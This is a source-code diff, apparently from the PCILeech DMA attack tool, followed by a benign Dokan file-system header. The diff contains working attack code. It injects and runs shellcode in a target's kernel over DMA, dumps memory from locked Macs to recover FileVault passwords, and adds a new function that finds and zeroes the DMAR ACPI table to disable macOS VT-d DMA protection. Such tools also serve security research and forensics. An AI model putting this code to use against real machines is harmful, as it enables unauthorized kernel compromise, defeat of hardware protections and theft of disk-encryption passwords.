pbBuffer, cbBuffer, PCILEECH_MEM_FLAG_RETRYONFAIL); + result = DeviceWriteDMA(ctx, pk->DMAAddrPhysical, pbBuffer, cbBuffer, PCILEECH_MEM_FLAG_RETRYONFAIL); if(!result) { goto fail; } pk->dataInExtraOffset = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode); pk->dataInExtraLength = cbIn; @@ -227,8 +220,8 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST //------------------------------------------------ // 3: Execute! //------------------------------------------------ - KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_VOID); - result = KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_EXEC); + KMD_SubmitCommand(ctx, KMD_CMD_VOID); + result = KMD_SubmitCommand(ctx, KMD_CMD_EXEC); if(!result || pk->dataOut[0] || (pk->dataOutExtraLength > pk->dataOutExtraLengthMax)) { result = FALSE; goto fail; @@ -240,7 +233,7 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST *pcbOut = pk->dataOutExtraLength; *ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut)); if(!*ppbOut) { result = FALSE; goto fail; } - result = DeviceReadDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), 0); + result = DeviceReadDMA(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), 0); } fail: LocalFree(pKmdExec); @@ -248,7 +241,7 @@ fail: return result; } -VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +VOID ActionExecShellcode(_Inout_ PPCILEECH_CONTEXT ctx) { const DWORD CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT = 8192; BOOL result; @@ -256,30 +249,29 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) PBYTE pbBuffer = NULL; BYTE pbZeroPage2[0x2000] = { 0 }; PSTR szBufferText = NULL; - DWORD cbBufferText, cbLength; + DWORD cbLength; HANDLE hFile = NULL; - PKMDDATA pk; + PKMDDATA pk = ctx->pk; //------------------------------------------------ // 1: Setup and initial validity checks. //------------------------------------------------ - if(!pDeviceData->KMDHandle) { - printf("EXEC: Failed. Retrieving page info requires an active kernel module (KMD). Please use in conjunction with the -kmd option only.\n"); + if(!ctx->phKMD) { + printf("EXEC: Failed. Executing code requires an active kernel module (KMD).\n Please use in conjunction with the -kmd option only.\n"); goto fail; } - pk = ((PKMDHANDLE)pDeviceData->KMDHandle)->status; - if(pk->DMASizeBuffer < 0x084000 + 0x100000 + min(0x100000, SIZE_PAGE_ALIGN_4K(pCfg->cbIn))) { + if(pk->DMASizeBuffer < 0x084000 + 0x100000 + min(0x100000, SIZE_PAGE_ALIGN_4K(ctx->cfg->cbIn))) { printf("EXEC: Failed. DMA buffer is too small / input size exceeded.\n"); goto fail; } //------------------------------------------------ // 2: Load KMD shellcode and commit to target memory. //------------------------------------------------ - result = Util_LoadKmdExecShellcode(pCfg->szShellcodeName, &pKmdExec); + result = Util_LoadKmdExecShellcode(ctx->cfg->szShellcodeName, &pKmdExec); if(!result) { - printf("EXEC: Failed loading shellcode from file: '%s.ksh' ...\n", pCfg->szShellcodeName); + printf("EXEC: Failed loading shellcode from file: '%s.ksh' ...\n", ctx->cfg->szShellcodeName); goto fail; } - result = DeviceWriteDMAVerify(pDeviceData, pk->DMAAddrPhysical, pKmdExec->pbShellcode, (DWORD)pKmdExec->cbShellcode, PCILEECH_MEM_FLAG_RETRYONFAIL); + result = DeviceWriteDMA(ctx, pk->DMAAddrPhysical, pKmdExec->pbShellcode, (DWORD)pKmdExec->cbShellcode, PCILEECH_MEM_FLAG_RETRYONFAIL | PCILEECH_MEM_FLAG_VERIFYWRITE); if(!result) { printf("EXEC: Failed writing shellcode to target memory.\n"); goto fail; @@ -293,19 +285,19 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) // [0x082000, X [ = data in (to target computer); X = max(0x100000, cb_in) // [X , buf_max [ = data out (from target computer) //------------------------------------------------ - DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + 0x080000, pbZeroPage2, 0x2000, 0); + DeviceWriteDMA(ctx, pk->DMAAddrPhysical + 0x080000, pbZeroPage2, 0x2000, 0); pk->dataInExtraOffset = 0x082000; - pk->dataInExtraLength = pCfg->cbIn; - pk->dataInExtraLengthMax = max(0x100000, SIZE_PAGE_ALIGN_4K(pCfg->cbIn)); + pk->dataInExtraLength = ctx->cfg->cbIn; + pk->dataInExtraLengthMax = max(0x100000, SIZE_PAGE_ALIGN_4K(ctx->cfg->cbIn)); pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax; pk->dataOutExtraLength = 0; pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset; - memcpy(pk->dataIn, pCfg->qwDataIn, sizeof(QWORD) * 10); - memcpy(pk->dataInStr, pCfg->szInS, MAX_PATH); + memcpy(pk->dataIn, ctx->cfg->qwDataIn, sizeof(QWORD) * 10); + memcpy(pk->dataInStr, ctx->cfg->szInS, MAX_PATH); memset(pk->dataOut, 0, sizeof(QWORD) * 10); memset(pk->dataOutStr, 0, MAX_PATH); - if(pCfg->cbIn) { - result = DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataInExtraOffset, pCfg->pbIn, (DWORD)SIZE_PAGE_ALIGN_4K(pCfg->cbIn), 0); + if(ctx->cfg->cbIn) { + result = DeviceWriteDMA(ctx, pk->DMAAddrPhysical + pk->dataInExtraOffset, ctx->cfg->pbIn, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->cfg->cbIn), 0); if(!result) { printf("EXEC: Failed writing data to target memory.\n"); goto fail; @@ -316,8 +308,8 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) //------------------------------------------------ // 4: Execute! and display result. //------------------------------------------------ - KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_VOID); - result = KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_EXEC); + KMD_SubmitCommand(ctx, KMD_CMD_VOID); + result = KMD_SubmitCommand(ctx, KMD_CMD_EXEC); if(!result) { printf("EXEC: Failed sending execute command to KMD.\n"); goto fail; @@ -342,22 +334,15 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) if(cbLength > 0) { // read extra output buffer if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, SIZE_PAGE_ALIGN_4K(cbLength))) || - !DeviceReadDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), 0)) { + !DeviceReadDMA(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), 0)) { printf("EXEC: Error reading output.\n"); goto fail; } // print to screen - if(cbLength > CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT) { - printf("EXEC: Large output. Only displaying first %i bytes.\n", CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT); - } - if(CryptBinaryToStringA(pbBuffer, min(CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT, cbLength), CRYPT_STRING_HEXASCIIADDR, NULL, &cbBufferText) && - (szBufferText = (LPSTR)LocalAlloc(LMEM_ZEROINIT, cbBufferText)) && - CryptBinaryToStringA(pbBuffer, min(CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT, cbLength), CRYPT_STRING_HEXASCIIADDR, szBufferText, &cbBufferText)) { - printf("%s\n", szBufferText); - } + Util_PrintHexAscii(pbBuffer, cbLength); // write to out file - if(pCfg->szFileOut[0]) { - hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + if(ctx->cfg->szFileOut[0]) { + hFile = CreateFileA(ctx->cfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if(!hFile || (hFile == INVALID_HANDLE_VALUE)) { printf("EXEC: Error writing output to file.\n"); goto fail; @@ -366,14 +351,14 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("EXEC: Error writing output to file.\n"); goto fail; } - printf("EXEC: Wrote %i bytes to file %s.\n", cbLength, pCfg->szFileOut); + printf("EXEC: Wrote %i bytes to file %s.\n", cbLength, ctx->cfg->szFileOut); } } //---------------------------------------------------------- // 6: Call the post execution console redirection if needed. //---------------------------------------------------------- if(pk->dataInConsoleBuffer || pk->dataOutConsoleBuffer) { - Exec_ConsoleRedirect(pCfg, pDeviceData, pk->dataInConsoleBuffer, pk->dataOutConsoleBuffer); + Exec_ConsoleRedirect(ctx, pk->dataInConsoleBuffer, pk->dataOutConsoleBuffer); } printf("\n"); fail: diff --git a/pcileech/executor.h b/pcileech/executor.h index deae83f..f79dac5 100644 --- a/pcileech/executor.h +++ b/pcileech/executor.h @@ -12,12 +12,10 @@ * Callback for when kernel executable code is in "extended execution mode". * This will allow the kernel executable code running on the target machine to * communicate interactively with this executable to deliver large files. -* -- pCfg -* -- pDeviceData -* -- pk +* -- ctx * -- phCallback = ptr to handle; handle must be null on first entry. */ -VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDATA pk, _Inout_ PHANDLE phCallback); +VOID Exec_Callback(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PHANDLE phCallback); /* * Close handle opened/used in Exec_Callback. @@ -30,8 +28,7 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback); * This function is to be called internally by PCILeech functionality that * require more advanced kernel functionality than the core implant is able * to provide. -* -- pCfg -* -- pDeviceData +* -- ctx * -- szShellcodeName * -- pbIn = binary data to send to shellcode executing on the target. * -- cbIn @@ -40,15 +37,14 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback); * -- pcbOut * -- result */ -BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut); +BOOL Exec_ExecSilent(_Inout_ PPCILEECH_CONTEXT ctx, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut); /* * Try to execute a shellcode module in the target system kernel. This function * requires a KMD to be loaded. The KMD is then used to load and execute the * code supplied in the target system! -* -- pCfg -* -- pDeviceData +* -- ctx */ -VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); +VOID ActionExecShellcode(_Inout_ PPCILEECH_CONTEXT ctx); #endif /* __EXECUTOR_H__ */ diff --git a/pcileech/extra.c b/pcileech/extra.c index 11ed6fd..985ed3a 100644 --- a/pcileech/extra.c +++ b/pcileech/extra.c @@ -7,7 +7,7 @@ #include "device.h" #include "util.h" -VOID Extra_MacFVRecover_ReadMemory_Optimized(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PBYTE pb512M) +VOID Extra_MacFVRecover_ReadMemory_Optimized(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PBYTE pb512M) { DWORD i, dwOffsets[] = { 0x74000000, 0x75000000, 0x76000000, 0x77000000, 0x78000000, 0x79000000, 0x7a000000, 0x7b000000, @@ -16,7 +16,7 @@ VOID Extra_MacFVRecover_ReadMemory_Optimized(_In_ PCONFIG pCfg, _In_ PDEVICE_DAT 0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000 }; for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { - DeviceReadDMA(pDeviceData, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL); + DeviceReadDMA(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL); } } @@ -86,7 +86,7 @@ VOID Extra_MacFVRecover_SetOutFileName(_Inout_ PCONFIG pCfg) } } -VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +VOID Action_MacFilevaultRecover(_Inout_ PPCILEECH_CONTEXT ctx, _In_ BOOL IsRebootRequired) { HANDLE hFile; DWORD cbLength; @@ -96,26 +96,32 @@ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData printf("MAC_FVRECOVER: FAILED. Unable to allocate memory.\n"); return; } - // Wait for target computer reboot (device will power cycle). - printf( - "MAC_FVRECOVER: WAITING ... please reboot ...\n" \ - " Please force a reboot of the mac by pressing CTRL+CMD+POWER\n" \ - " WARNING! This will not work in macOS Sierra 10.12.2 and later.\n"); - Util_WaitForPowerCycle(pCfg, pDeviceData); + if(IsRebootRequired) { + // Wait for target computer reboot (device will power cycle). + printf( + "MAC_FVRECOVER: WAITING ... please reboot ...\n" \ + " Please force a reboot of the mac by pressing CTRL+CMD+POWER\n" \ + " WARNING! This will not work in macOS Sierra 10.12.2 and later.\n"); + Util_WaitForPowerCycle(ctx); + } else { + // Wait for DMA read access to target computer. + printf("MAC_FVRECOVER: WAITING for DMA access ...\n"); + Util_WaitForPowerOn(ctx); + } // Try read 512M of memory from in the range: [0x70000000..0x90000000[. printf("MAC_FVRECOVER: Continuing ...\n"); - Extra_MacFVRecover_ReadMemory_Optimized(pCfg, pDeviceData, pbBuffer512M); + Extra_MacFVRecover_ReadMemory_Optimized(ctx, pbBuffer512M); // Try write to disk image. printf("MAC_FVRECOVER: Writing partial memory contents to file ...\n"); - Extra_MacFVRecover_SetOutFileName(pCfg); - hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + Extra_MacFVRecover_SetOutFileName(ctx->cfg); + hFile = CreateFileA(ctx->cfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if(!hFile || (hFile == INVALID_HANDLE_VALUE)) { printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); hFile = NULL; } else if(!WriteFile(hFile, pbBuffer512M, 0x20000000, &cbLength, NULL)) { printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); } else { - printf("MAC_FVRECOVER: File: %s.\n", pCfg->szFileOut); + printf("MAC_FVRECOVER: File: %s.\n", ctx->cfg->szFileOut); } // Analyze for possible password candidates. printf("MAC_FVRECOVER: Analyzing ...\n"); @@ -129,16 +135,52 @@ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData if(hFile) { CloseHandle(hFile); } } -VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +VOID Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx) +{ + PBYTE pb16M; + BYTE ZERO16[16] = { 0 }; + DWORD i, j, dwAddress, dwOffsets[] = { + 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x89000000, 0x88000000, 0x87000000, 0x86000000 + }; + // Allocate 16 MB buffer + if(!(pb16M = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) { + printf("MAC_DISABLE_VTD: FAILED. Unable to allocate memory.\n"); + return; + } + // Wait for DMA read access to target computer. + printf("MAC_DISABLE_VTD: WAITING for DMA access ...\n"); + Util_WaitForPowerOn(ctx); + // DMAR table assumed to be on page boundary. This doesn't have to be true, + // but it seems like it is on the MACs. + for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { + if(DeviceReadDMA(ctx, dwOffsets[i], pb16M, 0x01000000, 0)) { + for(j = 0; j < 0x01000000; j += 0x1000) { + if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) { + dwAddress = dwOffsets[i] + j; + if(DeviceWriteDMA(ctx, dwAddress, ZERO16, 16, PCILEECH_MEM_FLAG_RETRYONFAIL)) { + printf("MAC_DISABLE_VTD: VT-d DMA protections should now be disabled ...\n"); + printf("MAC_DISABLE_VTD: DMAR ACPI table found and removed at: 0x%08x\n", dwAddress); + LocalFree(pb16M); + return; + } + } + } + } + } + LocalFree(pb16M); + printf("MAC_DISABLE_VTD: Failed to disable VT-d DMA protections.\n"); +} + +VOID Action_PT_Phys2Virt(_Inout_ PPCILEECH_CONTEXT ctx) { BOOL result; QWORD qwVA, qwPTE, qwPDE, qwPDPTE, qwPML4E; printf("PT_PHYS2VIRT: searching ... (this may take some time).\n"); - result = Util_PageTable_FindMappedAddress(pCfg, pDeviceData, pCfg->qwCR3, pCfg->qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E); + result = Util_PageTable_FindMappedAddress(ctx, ctx->cfg->qwCR3, ctx->cfg->qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E); if(result) { printf("PT_PHYS2VIRT: finished.\n"); printf(" 0x00000000FFFFFFFF\n"); - printf(" PA: 0x%016llx\n", pCfg->qwDataIn[0]); + printf(" PA: 0x%016llx\n", ctx->cfg->qwDataIn[0]); printf(" VA: 0x%016llx\n", qwVA); printf(" PTE: 0x%016llx\n", qwPTE); printf(" PDE: 0x%016llx\n", qwPDE); diff --git a/pcileech/extra.h b/pcileech/extra.h index 46cb9aa..f1e2f92 100644 --- a/pcileech/extra.h +++ b/pcileech/extra.h @@ -1,6 +1,6 @@ // extra.h : definitions related to various extra functionality such as exploits. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __EXTRA_H__ @@ -9,17 +9,28 @@ #include "kmd.h" /* -* Recover the Filevault 2 password on locked macOS systems prior or equal to 10.12.2 -* -- pCfg -* -- pDeviceData +* Recover the Filevault 2 password on locked macOS systems prior to 10.12.2. +* (IsRebootRequired = TRUE). +* Also recover the Filevault 2 password just after user filevault unlock on +* some macs prior to 10.XX.YY (IsRebootRequired = FALSE). +* -- ctx +* -- IsRebootRequired */ -VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); +VOID Action_MacFilevaultRecover(_Inout_ PPCILEECH_CONTEXT ctx, _In_ BOOL IsRebootRequired); + +/* +* Try to disable VT-d on a mac in the short time window that exists after EFI +* drops VT-d DMA protections and before macOS enables them again. If successful +* the DMAR ACPI table will be zeroed out - resulting in macOS not enabling VT-d +* DMA protections. This works on macs prior to 10.XX.YY +* -- ctx +*/ +VOID Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx); /* * Search for the virtual address that maps to a physical address given a page table base. -* -- pCfg -* -- pDeviceData +* -- ctx */ -VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); +VOID Action_PT_Phys2Virt(_Inout_ PPCILEECH_CONTEXT ctx); #endif /* __EXTRA_H__ */ diff --git a/pcileech/fileinfo.h b/pcileech/fileinfo.h new file mode 100644 index 0000000..6ea19df --- /dev/null +++ b/pcileech/fileinfo.h @@ -0,0 +1,1236 @@ +/* + Dokan : user-mode file system library for Windows + + Copyright (C) 2015 - 2017 Adrien J. and Maxime C. + Copyright (C) 2007 - 2011 Hiroki Asakawa + + http://dokan-dev.github.io + +This program is free software; you can redistribute it and/or modify it under +the terms of the GNU Lesser General Public License as published by the Free +Software Foundation; either version 3 of the License, or (at your option) any +later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + +You should have received a copy of the GNU Lesser General Public License along +with this program. If not, see . +*/ + +#ifndef FILEINFO_H_ +#define FILEINFO_H_ + +#define IRP_MJ_CREATE 0x00 +#define IRP_MJ_CREATE_NAMED_PIPE 0x01 +#define IRP_MJ_CLOSE 0x02 +#define IRP_MJ_READ 0x03 +#define IRP_MJ_WRITE 0x04 +#define IRP_MJ_QUERY_INFORMATION 0x05 +#define IRP_MJ_SET_INFORMATION 0x06 +#define IRP_MJ_QUERY_EA 0x07 +#define IRP_MJ_SET_EA 0x08 +#define IRP_MJ_FLUSH_BUFFERS 0x09 +#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a +#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b +#define IRP_MJ_DIRECTORY_CONTROL 0x0c +#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d +#define IRP_MJ_DEVICE_CONTROL 0x0e +#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f +#define IRP_MJ_SHUTDOWN 0x10 +#define IRP_MJ_LOCK_CONTROL 0x11 +#define IRP_MJ_CLEANUP 0x12 +#define IRP_MJ_CREATE_MAILSLOT 0x13 +#define IRP_MJ_QUERY_SECURITY 0x14 +#define IRP_MJ_SET_SECURITY 0x15 +#define IRP_MJ_POWER 0x16 +#define IRP_MJ_SYSTEM_CONTROL 0x17 +#define IRP_MJ_DEVICE_CHANGE 0x18 +#define IRP_MJ_QUERY_QUOTA 0x19 +#define IRP_MJ_SET_QUOTA 0x1a +#define IRP_MJ_PNP 0x1b +#define IRP_MJ_PNP_POWER IRP_MJ_PNP +#define IRP_MJ_MAXIMUM_FUNCTION 0x1b + +#define IRP_MN_LOCK 0x01 +#define IRP_MN_UNLOCK_SINGLE 0x02 +#define IRP_MN_UNLOCK_ALL 0x03 +#define IRP_MN_UNLOCK_ALL_BY_KEY 0x04 + +typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 + FileStandardInformation, // 5 + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileNormalizedNameInformation, // 48 + FileNetworkPhysicalNameInformation, // 49 + FileIdGlobalTxDirectoryInformation, // 50 + FileIsRemoteDeviceInformation, // 51 + FileUnusedInformation, // 52 + FileNumaNodeInformation, // 53 + FileStandardLinkInformation, // 54 + FileRemoteProtocolInformation, // 55 + + // + // These are special versions of these operations (defined earlier) + // which can be used by kernel mode drivers only to bypass security + // access checks for Rename and HardLink operations. These operations + // are only recognized by the IOManager, a file system should never + // receive these. + // + FileRenameInformationBypassAccessCheck, // 56 + FileLinkInformationBypassAccessCheck, // 57 + FileVolumeNameInformation, // 58 + FileIdInformation, // 59 + FileIdExtdDirectoryInformation, // 60 + FileReplaceCompletionInformation, // 61 + FileHardLinkFullIdInformation, // 62 + FileIdExtdBothDirectoryInformation, // 63 + + FileMaximumInformation +} FILE_INFORMATION_CLASS, + *PFILE_INFORMATION_CLASS; + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, // 2 + FileFsSizeInformation, // 3 + FileFsDeviceInformation, // 4 + FileFsAttributeInformation, // 5 + FileFsControlInformation, // 6 + FileFsFullSizeInformation, // 7 + FileFsObjectIdInformation, // 8 + FileFsDriverPathInformation, // 9 + FileFsVolumeFlagsInformation, // 10 + FileFsMaximumInformation +} FS_INFORMATION_CLASS, + *PFS_INFORMATION_CLASS; + +/** + * \struct FILE_ALIGNMENT_INFORMATION + * \brief Used as an argument to the ZwQueryInformationFile routine. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation + */ +typedef struct _FILE_ALIGNMENT_INFORMATION { + /** + * The buffer alignment required by the underlying device. For a list of system-defined values, see DEVICE_OBJECT. + * The value must be one of the FILE_XXX_ALIGNMENT values defined in Wdm.h. + * For more information, see DEVICE_OBJECT and Initializing a Device Object. + */ + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + +/** + * \struct FILE_NAME_INFORMATION + * \brief Used as argument to the ZwQueryInformationFile and ZwSetInformationFile routines. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileNameInformation + */ +typedef struct _FILE_NAME_INFORMATION { + /** + * Specifies the length, in bytes, of the file name string. + */ + ULONG FileNameLength; + /** + * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. + */ + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + +/** + * \struct FILE_ATTRIBUTE_TAG_INFORMATION + * \brief Used as an argument to ZwQueryInformationFile. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAttributeTagInformation + */ +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + /** + * Specifies one or more FILE_ATTRIBUTE_XXX flags. + * For descriptions of these flags, see the documentation of the GetFileAttributes function in the Microsoft Windows SDK. + */ + ULONG FileAttributes; + /** + * Specifies the reparse point tag. If the FileAttributes member includes the FILE_ATTRIBUTE_REPARSE_POINT attribute flag, + * this member specifies the reparse tag. Otherwise, this member is unused. + */ + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + +/** + * \struct FILE_DISPOSITION_INFORMATION + * \brief Used as an argument to the ZwSetInformationFile routine. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileDispositionInformation + */ +typedef struct _FILE_DISPOSITION_INFORMATION { + /** + * Indicates whether the operating system file should delete the file when the file is closed. + * Set this member to TRUE to delete the file when it is closed. + * Otherwise, set to FALSE. Setting this member to FALSE has no effect if the handle was opened with FILE_FLAG_DELETE_ON_CLOSE. + */ + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + +/** + * \struct FILE_END_OF_FILE_INFORMATION + * \brief Used as an argument to the ZwSetInformationFile routine. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileEndOfFileInformation + */ +typedef struct _FILE_END_OF_FILE_INFORMATION { + /** + * The absolute new end of file position as a byte offset from the start of the file. + */ + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + +/** + * \struct FILE_VALID_DATA_LENGTH_INFORMATION + * \brief Used as an argument to ZwSetInformationFile. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileValidDataLengthInformation + */ +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + /** + * Specifies the new valid data length for the file. + * This parameter must be a positive value that is greater than the current valid data length, but less than or equal to the current file size. + */ + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +/** + * \struct FILE_BASIC_INFORMATION + * \brief Used as an argument to routines that query or set file information. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileBasicInformation and FileAllInformation + */ +typedef struct _FILE_BASIC_INFORMATION { + /** + * Specifies the time that the file was created. + */ + LARGE_INTEGER CreationTime; + /** + * Specifies the time that the file was last accessed. + */ + LARGE_INTEGER LastAccessTime; + /** + * Specifies the time that the file was last written to. + */ + LARGE_INTEGER LastWriteTime; + /** + * Specifies the last time the file was changed. + */ + LARGE_INTEGER ChangeTime; + /** + * Specifies one or more FILE_ATTRIBUTE_XXX flags. For descriptions of these flags, + * see the documentation for the GetFileAttributes function in the Microsoft Windows SDK. + */ + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +/** + * \struct FILE_STANDARD_INFORMATION + * \brief Used as an argument to routines that query or set file information. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileStandardInformation and FileAllInformation + */ +typedef struct _FILE_STANDARD_INFORMATION { + /** + * The file allocation size in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; 